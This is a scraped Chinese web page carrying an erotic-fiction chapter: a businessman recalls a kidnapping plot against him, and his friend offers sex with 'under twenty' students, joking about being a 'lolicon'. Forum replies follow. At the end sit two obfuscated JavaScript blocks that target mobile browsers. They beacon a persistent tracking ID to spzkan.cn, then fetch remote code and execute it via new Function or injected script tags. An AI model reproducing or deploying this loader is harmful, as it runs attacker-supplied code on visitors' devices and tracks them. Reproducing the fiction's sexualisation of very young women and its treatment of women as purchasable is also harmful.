说着话,我穿上外套,取了皮包和车钥匙,告诉行政一声,和吉祥哥并着膀子下楼出门。

GLK300虽然有点老相,但我还是喜欢开它。没办法,哥是喜新不厌旧的人。驶出厂门,转上大路,和吉祥哥有一句没一句地闲扯,脑子里想着别的事。 那是帮高薇找好房子以后,某个两人一起累死的下午,高薇倚在身边对我说:“哥,有件事,我撒了谎。”

“什么事?”

“就是季晓萌走的那件事。”

“哦?”

“其实我大概知道她去哪了。”

“嗯?”我不喜欢女人跟我玩心眼,声音严厉起来。

“哥你听我说。季晓萌那段时间交了个男朋友,你知道吗?”

这个真不知道,我不说话,且听下文。

“那男的是个混混,不知道季晓萌怎么看上眼了,那段时间天天带到租房过夜。有天晚上起夜,听见他们说话,还有第三个人,我就偷听了几句,象是商量做个套诈一笔钱。我听另一个人问‘他家有多少钱?’季晓萌说‘他爹有个大厂子,他自己也有公司,三辆车,有辆奔驰,花钱特大方,怎么也得几百万吧?’那个人就说‘那还敲什么敲啊?干脆绑一票得了!’我一听害怕了,就回去睡觉了。”

“哦!”还有这样的事?

“第二天醒了,我越想越觉得说的就是你,想给你打电话,又怕你以为我想在季晓萌中间插一腿,就没敢打。晚上心里烦,在租房里喝闷酒喝多了。季晓萌回来我就问她,说来说去就打起来了。她打电话叫她那个男朋友,说要整死我。 我就吓唬她,说把他们说的话偷偷录了音藏起来了,要是我出了事他们全都完蛋。

季晓萌害怕了,连夜就和他男朋友跑了,我听见好象说是去省城。“

“那她第二天为什么还给我打电话?”

“第二天早晨她给我打了个电话,说他男朋友的老大要我交出录音,从此两清。我说已经交给吉祥了,让她聪明点,只要我和你有一个人出事吉祥马上就报案,她骂了我几句就挂电话了。她那个人心性很强,估计是想趁你还不知道先踹了你心理好平衡吧?”

“唔……那你当时怎么不告诉我?”

“当时告诉你,你会信吗?”

确实,那时候让季晓萌迷得要死了,真不会信。

“知道她那个男朋友叫什么名字吗?”

“知道,叫曲江龙,社会上叫他二龙。”

……

“喂!”吉祥哥戳我一指头,“开车别走神,想什么呢?”

我握紧方向盘,抱歉地笑笑。

“高薇侍候得挺好?”

“人家现在是高级白领,哪有空天天侍候我?怎么,想吃回头草了?我可没你大方。”

“得!我还没那么不讲究!我就纳闷了,这妞当初妨得我诸事不顺,怎么到你这儿就鸿运当头了?”

“嘿嘿,人品问题!”

“滚犊子吧你!”

吉祥哥按开音乐,Beyond的海阔天空。

今天我/寒夜里看雪飘过/怀着冷却了的心窝飘远方/风雨里追赶/雾里分 不清影踪/天空海阔你与我/可会变(谁没在变)

这声伴唱,是我最爱的乐句之一,每次听到,心绪便如暮冬之海,悠远苍凉。 “哎!”我甯了甯神,问吉祥哥:“晚上想吃什么?”

“不喝酒吃什么都行。”

“戒酒了?”

“草鸡了,现在没有正经应酬不喝酒。对了,都说你的食堂伙食好,要不今晚尝尝?”

“好啊,今天周三,新厂有肉包子,地道农家大妈手艺。”

“好好好!就这个!再来几瓣蒜,整点咸菜、小米粥。”

我笑了,这是返璞归真吗?

“吃完饭有没兴趣跟我去搞点艺术?”吉祥哥又在坏笑。

“什么东东?”

“人体摄影啊,网称国模。”

“靠!不就是野鸡吗?没劲!”

“今晚的货色可不一样,艺术学院表演系的,不到二十岁哦。”

“没兴趣!高薇就算了,我可不想再跟你做连襟。”

“这个没问题!现在求包养的妹子满街都是,特别象你这号金牌干爹级的人物,一个电话,要多少有多少!保不齐你大把银子一摔,又捧出个明星来!怎么样?是装贞节还是陪哥玩一把?”

“真是奇了怪了,你都从哪把的妹啊?我怎么也碰不上?”

“不跟形势了吧你,陌陌、微信,谁让你不用!”

“好吧好吧……不过话说清楚了,二十岁以上免谈!”

“靠!又升级了?你就是个死变态萝莉控!……不对啊!高薇今年二十七了,你不一样上得欢?”……

车奔驰,日西斜。生活在继续,故事也在继续。

我觉得原PO说的真是有道理

感谢您的分享才有的欣赏

助跑~~~~~~~~~~~~~~~~~~我推!

这文章真够牛B呀!请受我一拜


上一篇:好色的女同事惠睛

下一篇:夜战公司大美女


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};